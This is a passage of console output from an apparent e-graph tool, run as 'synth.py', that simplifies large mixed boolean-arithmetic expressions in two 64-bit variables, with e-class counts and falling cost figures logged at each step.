)-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))+Q)+(((((((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*(((P-((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B))+A)+((((x-y)^(x*y))|(-((~x)*(x*y))))*A)))*D)-(((((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)+A)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*N))-((((P-((((((((0x2*((((x*A)+B)+A)+((~(x&y))*A)))-B)-(((((x*A)+B)+((y*A)+B))+G)+((~((x+y)-(x^y)))*A)))+B)+O)-(((~(x*y))|(x-y))*A))-(((((((((((((x*A)+B)+A)+(((~x)|y)*A))*((((y*A)+B)+O)-(((~x)|y)*A)))*D)-(((((x*A)+B)+A)+(((~x)|y)*A))*N))-(((((y*A)+B)+O)-(((~x)|y)*A))*N))+Q)+(((((((((x*A)+B)+A)+((~(x&y))*A))*(((P-((x*A)+B))+A)+((x|y)*A)))*D)-(((((x*A)+B)+A)+((~(x&y))*A))*N))-((((P-((x*A)+B))+A)+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B))+A)+((((x-y)^(x*y))|(-((~x)*(x*y))))*A))*N))+Q))-B)*D)-N)
====================================================================================================
eclasses #: 1004
Synthesized (cost = 2433): ((((((((((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*(((((((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|x)*A))*((S+(x*A))-((((~y)-(x*y))|x)*A)))*D)-((((((~y)-(x*y))|(~x))*A)+G)*F))-(((S+(x*A))-((((~y)-(x*y))|x)*A))*N))+Q)+(((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|(~x))*A))*((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A)))*D)-((((((~y)-(x*y))|x)*A)+G)*F))-(((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A)))*D)-((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))-((((((((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|x)*A))*((S+(x*A))-((((~y)-(x*y))|x)*A)))*D)-((((((~y)-(x*y))|(~x))*A)+G)*F))-(((S+(x*A))-((((~y)-(x*y))|x)*A))*N))+Q)+(((((((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))+G)+((((~y)-(x*y))|(~x))*A))*((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A)))*D)-((((((~y)-(x*y))|x)*A)+G)*F))-(((T+(-(((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))+(y*A))-B)))+((((x*y)+y)|x)*A))*N))+Q))-B)+O)-(((~((x-y)^(x*y)))|(-((~x)*(x*y))))*A))*N))+Q)+((((((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*((T+(-((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)))+((((x-y)^(x*y))|(-((~x)*(x*y))))*A)))*D)-((((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+R)+(((~((x-y)^(x*y)))|((~(x*y))-(x*(x*y))))*A))*N))-(((T+(-((((((x*A)+((~y)*A))+B)-(((~(x*y))|(x-y))*A))-((((((((((((x*A)+R)+(((~x)|y)*A))*((S+(y*A))-(((~x)|y)*A)))*D)-((((x*A)+R)+(((~x)|y)*A))*N))-(((S+(y*A))-(((~x)|y)*A))*N))+Q)+((((((((x*A)+R)+((~(x&y))*A))*((T+((x*O)+U))+((x|y)*A)))*D)-((((x*A)+R)+((~(x&y))*A))*N))-(((T+((x*O)+U))+((x|y)*A))*N))+Q))-B)+A)+(((~(x*y))|(x-y))*A)))+B)))+((((x-y)^(x*y))|(-((~x)*(x*y))))*A))*N))+Q))-B)*D)-N)
====================================================================================================
eclasses #: 5787
Synthesized (cost = 203): (((((((((((-((((~((x-y)^(x*y)))|(((~x)*(x*y))+X))*A)+A))+B)*(((((x-y)^(x*y))|(((x*y)+y)*x))*A)+B))*D)-(((-((((~((x-y)^(x*y)))|(((~x)*(x*y))+X))*A)+A))+B)*N))-((((((x-y)^(x*y))|(((x*y)+y)*x))*A)+B)*N))+Q)+(((((((~((x-y)^(x*y)))|(((x*y)+y)*x))*O)+S)*F)-(((F+((x-y)^(x*y)))+(-(((x-y)^(x*y))|(((x*y)+y)*x))))*((((~((x-y)^(x*y)))|(((x*y)+y)*x))*O)+S)))-(((F+((x-y)^(x*y)))+(-(((x-y)^(x*y))|(((x*y)+y)*x))))*U)))+Z)*D)-N)
====================================================================================================
eclasses #: 130550
Synthesized (cost = 123): ((((((((x-y)^(x*y))|(((x*y)+y)*x))*U)+(((A*(((x-y)^(x*y))&(((x*y)+y)*x)))+B)*(((x-y)^(x*y))|(((x*y)+y)*x))))+(((((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y)))*O)*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*B)))*D)+V)
e-graph reset done.
====================================================================================================
eclasses #: 68
Synthesized (cost = 103): (((((A*(((x-y)^(x*y))&(((x*y)+y)*x)))*(((x-y)^(x*y))|(((x*y)+y)*x)))+(((((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y)))*O)*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*B)))*D)+V)
====================================================================================================
eclasses #: 127
Synthesized (cost = 103): (((((A*(((x-y)^(x*y))&(((x*y)+y)*x)))*(((x-y)^(x*y))|(((x*y)+y)*x)))+(((((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y)))*O)*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*B)))*D)+V)
====================================================================================================
eclasses #: 286
Synthesized (cost = 97): ((V+((((x-y)^(x*y))|(((x*y)+y)*x))*(((x-y)^(x*y))&(((x*y)+y)*x))))-(((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((F-(((x-y)^(x*y))|(((x*y)+y)*x)))+((x-y)^(x*y))))+((((~((x-y)^(x*y)))|(((x*y)+y)*x))+C)*F)))
====================================================================================================
eclasses #: 925
Synthesized (cost = 93): (((F*(((x-y)^(x*y))&(~(((x*y)+y)*x))))+((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((N+(((x-y)^(x*y))|(((x*y)+y)*x)))-((x-y)^(x*y)))))+((((x-y)^(x*y))|(((x*y)+y)*x))*(((x-y)^(x*y))&(((x*y)+y)*x))))
====================================================================================================
eclasses #: 6438
Synthesized (cost = 73): (((((x-y)^(x*y))-(((x-y)^(x*y))|(((x*y)+y)*x)))*(-(((x-y)^(x*y))&(~(((x*y)+y)*x)))))+((((x-y)^(x*y))|(((x*y)+y)*x))*(((x-y)^(x*y))&(((x*y)+y)*x))))
====================================================================================================
eclasses #: 143718
Synthesized (cost = 48): (((((x-y)^(x*y))|(((x*y)+y)*x))*((x-y)^(x*y)))-((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((x-y)^(x*y))))
e-graph reset done.
====================================================================================================
eclasses #: 21
Synthesized (cost = 48): (((((x-y)^(x*y))|(((x*y)+y)*x))*((x-y)^(x*y)))-((((x-y)^(x*y))&(~(((x*y)+y)*x)))*((x-y)^(x*y))))
====================================================================================================
eclasses #: 37
Synthesized (cost = 15): (((x-y)^(x*y))*(((x*y)+y)*x))
====================================================================================================
Polynomial MBA (permutation, 4th degree) with two 64 bits variables
python3 synth.py --no-strip-opaque-variables
eclasses #: 1017
Input (cost = 5342): ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x|y)*(-0x194a41bffffffffc))+0x67c62228de18a6ae)+((x*y)*(-0x12f7b14ffffffffd)))+((y^x)*(-0xca520dffffffffe)))+(((x|y)*(x|y))*(-0x6d0bbe4000000000)))+(((x|y)*(-0x23919d6000000000))*(x*y)))+(((x|y)*(-0x6d0bbe4000000000))*(y^x)))+(((x*y)*(x*y))*(-0x6d569b0400000000)))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000)))+((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y)))+((((x|y)*(x|y))*(-0x457290000000000))*(y^x)))+(((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y))))+((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x)))+(((x|y)*(-0x22b948000000000))*((y^x)*(y^x))))+(((x*y)*((x*y)*(x*y)))*(-0x1138838800000000)))+((((x*y)*(x*y))*(-0x2271071000000000))*(y^x)))+(((x*y)*0x3e5f50a000000000)*((y^x)*(y^x))))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))+(y*0x22c04c00de18a6ae))+(((~x)^y)*0x22c04c00de18a6ae))+((~((~x)|y))*0x22c04c00de18a6ae))+((x&y)*(-0x22c04c00de18a6ae)))+(((x|y)*0x4a9fc5a000000000)*y))+(((x|y)*0x4a9fc5a000000000)*((~x)^y)))+(((x|y)*0x4a9fc5a000000000)*(~((~x)|y))))+(((x|y)*(-0x4a9fc5a000000000))*(x&y)))+(((x*y)*0x37f7d43800000000)*y))+(((x*y)*0x37f7d43800000000)*((~x)^y)))+(((x*y)*0x37f7d43800000000)*(~((~x)|y))))+(((x*y)*(-0x37f7d43800000000))*(x&y)))+(((y^x)*0x254fe2d000000000)*y))+(((y^x)*0x254fe2d000000000)*((~x)^y)))+(((y^x)*0x254fe2d000000000)*(~((~x)|y))))+(((y^x)*(-0x254fe2d000000000))*(x&y)))+((y*y)*0x3337c25800000000))+((y*0x666f84b000000000)*((~x)^y)))+((y*0x666f84b000000000)*(~((~x)|y))))+((y*(-0x666f84b000000000))*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(~((~x)|y))))+((((~x)^y)*(-0x666f84b000000000))*(x&y)))+(((~((~x)|y))*(~((~x)|y)))*0x3337c25800000000))+(((~((~x)|y))*(-0x666f84b000000000))*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))+((((x|y)*(x|y))*0x3eff4a4000000000)*y))+((((x|y)*(x|y))*0x3eff4a4000000000)*((~x)^y)))+((((x|y)*(x|y))*0x3eff4a4000000000)*(~((~x)|y))))+((((x|y)*(x|y))*(-0x3eff4a4000000000))*(x&y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*y))+((((x|y)*0x5e7eef6000000000)*(x*y))*((~x)^y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*(~((~x)|y))))+((((x|y)*(-0x5e7eef6000000000))*(x*y))*(x&y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*y))+((((x|y)*0x3eff4a4000000000)*(y^x))*((~x)^y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*(~((~x)|y))))+((((x|y)*(-0x3eff4a4000000000))*(y^x))*(x&y)))+((((x*y)*(x*y))*0x436f99c400000000)*y))+((((x*y)*(x*y))*0x436f99c400000000)*((~x)^y)))+((((x*y)*(x*y))*0x436f99c400000000)*(~((~x)|y))))+((((x*y)*(x*y))*(-0x436f99c400000000))*(x&y)))+((((x*y)*(-0x50c0885000000000))*(y^x))*y))+((((x*y)*(-0x50c0885000000000))*(y^x))*((~x)^y)))+((((x*y)*(-0x50c0885000000000))*(y^x))*(~((~x)|y))))+((((x*y)*0x50c0885000000000)*(y^x))*(x&y)))+((((y^x)*(y^x))*(-0x70402d7000000000))*y))+((((y^x)*(y^x))*(-0x70402d7000000000))*((~x)^y)))+((((y^x)*(y^x))*(-0x70402d7000000000))*(~((~x)|y))))+((((y^x)*(y^x))*0x70402d7000000000)*(x&y)))+(((x|y)*(-0x4b95822000000000))*(y*y)))+((((x|y)*0x68d4fbc000000000)*y)*((~x)^y)))+((((x|y)*0x68d4fbc000000000)*y)*(~((~x)|y))))+((((x|y)*(-0x68d4fbc000000000))*y)*(x&y)))+(((x|y)*(-0x4b95822000000000))*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(~((~x)|y))))+((((x|y)*(-0x68d4fbc000000000))*((~x)^y))*(x&y)))+(((x|y)*(-0x4b95822000000000))*((~((~x)|y))*(~((~x)|y)))))+((((x|y)*(-0x68d4fbc000000000))*(~((~x)|y)))*(x&y)))+(((x|y)*(-0x4b95822000000000))*((x&y)*(x&y))))+(((x*y)*(-0x78b0219800000000))*(y*y)))+((((x*y)*0xe9fbcd000000000)*y)*((~x)^y)))+((((x*y)*0xe9fbcd000000000)*y)*(~((~x)|y))))+((((x*y)*(-0xe9fbcd000000000))*y)*(x&y)))+(((x*y)*(-0x78b0219800000000))*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(~((~x)|y))))+((((x*y)*(-0xe9fbcd000000000))*((~x)^y))*(x&y)))+(((x*y)*(-0x78b0219800000000))*((~((~x)|y))*(~((~x)|y)))))+((((x*y)*(-0xe9fbcd000000000))*(~((~x)|y)))*(x&y)))+(((x*y)*(-0x78b0219800000000))*((x&y)*(x&y))))+(((y^x)*0x5a353ef000000000)*(y*y)))+((((y^x)*(-0x4b95822000000000))*y)*((~x)^y)))+((((y^x)*(-0x4b95822000000000))*y)*(~((~x)|y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*(-0x4b95822000000000))*((~x)^y))*(~((~x)|y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((~((~x)|y))*(~((~x)|y)))))+((((y^x)*0x4b95822000000000)*(~((~x)|y)))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&y)*(x&y))))+((y*(y*y))*(-0x5bfeed000000000)))+(((y*y)*(-0x113fcc7000000000))*((~x)^y)))+(((y*y)*(-0x113fcc7000000000))*(~((~x)|y))))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*(-0x113fcc7000000000))*(((~x)^y)*((~x)^y))))+(((y*(-0x227f98e000000000))*((~x)^y))*(~((~x)|y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*(-0x113fcc7000000000))*((~((~x)|y))*(~((~x)|y)))))+(((y*0x227f98e000000000)*(~((~x)|y)))*(x&y)))+((y*(-0x113fcc7000000000))*((x&y)*(x&y))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*(-0x5bfeed000000000)))+(((((~x)^y)*((~x)^y))*(-0x113fcc7000000000))*(~((~x)|y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*(-0x113fcc7000000000))*((~((~x)|y))*(~((~x)|y)))))+(((((~x)^y)*0x227f98e000000000)*(~((~x)|y)))*(x&y)))+((((~x)^y)*(-0x113fcc7000000000))*((x&y)*(x&y))))+(((~((~x)|y))*((~((~x)|y))*(~((~x)|y))))*(-0x5bfeed000000000)))+((((~((~x)|y))*(~((~x)|y)))*0x113fcc7000000000)*(x&y)))+(((~((~x)|y))*(-0x113fcc7000000000))*((x&y)*(x&y))))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))+((((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000))*y))+((((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000))*((~x)^y)))+((((x|y)*((x|y)*(x|y)))*(-0x2e4c60000000000))*(~((~x)|y))))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)*(x&y)))+(((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y))*y))+(((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y))*((~x)^y)))+(((((x|y)*(x|y))*(-0x682bd8000000000))*(x*y))*(~((~x)|y))))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))*(x&y)))+(((((x|y)*(x|y))*(-0x457290000000000))*(y^x))*y))+(((((x|y)*(x|y))*(-0x457290000000000))*(y^x))*((~x)^y)))+(((((x|y)*(x|y))*(-0x457290000000000))*(y^x))*(~((~x)|y))))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))*(x&y)))+((((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y)))*y))+((((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y)))*((~x)^y)))+((((x|y)*(-0x44e20e2000000000))*((x*y)*(x*y)))*(~((~x)|y))))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))*(x&y)))+(((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x))*y))+(((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x))*((~x)^y)))+(((((x|y)*(-0x682bd8000000000))*(x*y))*(y^x))*(~((~x)|y))))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))*(x&y)))+((((x|y)*(-0x22b948000000000))*((y^x)*(y^x)))*y))+((((x|y)*(-0x22b948000000000))*((y^x)*(y^x)))*((~x)^y)))+((((x|y)*(-0x22b948000000000))*((y^x)*(y^x)))*(~((~x)|y))))+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))*(x&y)))+((((x*y)*((x*y)*(x*y)))*(-0x1138838800000000))*y))+((((x*y)*((x*y)*(x*y)))*(-0x1138838800000000))*((~x)^y)))+((((x*y)*((x*y)*(x*y)))*(-0x1138838800000000))*(~((~x)|y))))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)*(x&y)))+(((((x*y)*(x*y))*(-0x2271071000000000))*(y^x))*y))+(((((x*y)*(x*y))*(-0x2271071000000000))*(y^x))*((~x)^y)))+(((((x*y)*(x*y))*(-0x2271071000000000))*(y^x))*(~((~x)|y))))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))*(x&y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*y))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*(~((~x)|y))))+((((x*y)*(-0x3e5f50a000000000))*((y^x)*(y^x)))*(x&y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*y))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*((~x)^y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*(~((~x)|y))))+((((y^x)*((y^x)*(y^x)))*(-0x7fa3674000000000))*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*(y*y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*((~x)^y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*(~((~x)|y))))+(((((x|y)*(x|y))*(-0x5816110000000000))*y)*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(~((~x)|y))))+(((((x|y)*(x|y))*(-0x5816110000000000))*((~x)^y))*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*(x|y))*(-0x5816110000000000))*(~((~x)|y)))*(x&y)))+((((x|y)*(x|y))*(-0x53f4f78000000000))*((x&y)*(x&y))))+((((x|y)*(-0x7def734000000000))*(x*y))*(y*y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*((~x)^y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*(~((~x)|y))))+(((((x|y)*(-0x421198000000000))*(x*y))*y)*(x&y)))+((((x|y)*(-0x7def734000000000))*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(~((~x)|y))))+(((((x|y)*(-0x421198000000000))*(x*y))*((~x)^y))*(x&y)))+((((x|y)*(-0x7def734000000000))*(x*y))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*(-0x421198000000000))*(x*y))*(~((~x)|y)))*(x&y)))+((((x|y)*(-0x7def734000000000))*(x*y))*((x&y)*(x&y))))+((((x|y)*(-0x53f4f78000000000))*(y^x))*(y*y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*((~x)^y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*(~((~x)|y))))+(((((x|y)*(-0x5816110000000000))*(y^x))*y)*(x&y)))+((((x|y)*(-0x53f4f78000000000))*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(~((~x)|y))))+(((((x|y)*(-0x5816110000000000))*(y^x))*((~x)^y))*(x&y)))+((((x|y)*(-0x53f4f78000000000))*(y^x))*((~((~x)|y))*(~((~x)|y)))))+(((((x|y)*(-0x5816110000000000))*(y^x))*(~((~x)|y)))*(x&y)))+((((x|y)*(-0x53f4f78000000000))*(y^x))*((x&y)*(x&y))))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*(y*y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*((~x)^y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*(~((~x)|y))))+(((((x*y)*(x*y))*(-0x618c699000000000))*y)*(x&y)))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(~((~x)|y))))+(((((x*y)*(x*y))*(-0x618c699000000000))*((~x)^y))*(x&y)))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*((~((~x)|y))*(~((~x)|y)))))+(((((x*y)*(x*y))*(-0x618c699000000000))*(~((~x)|y)))*(x&y)))+((((x*y)*(x*y))*(-0x4f39cb3800000000))*((x&y)*(x&y))))+((((x*y)*0x410846600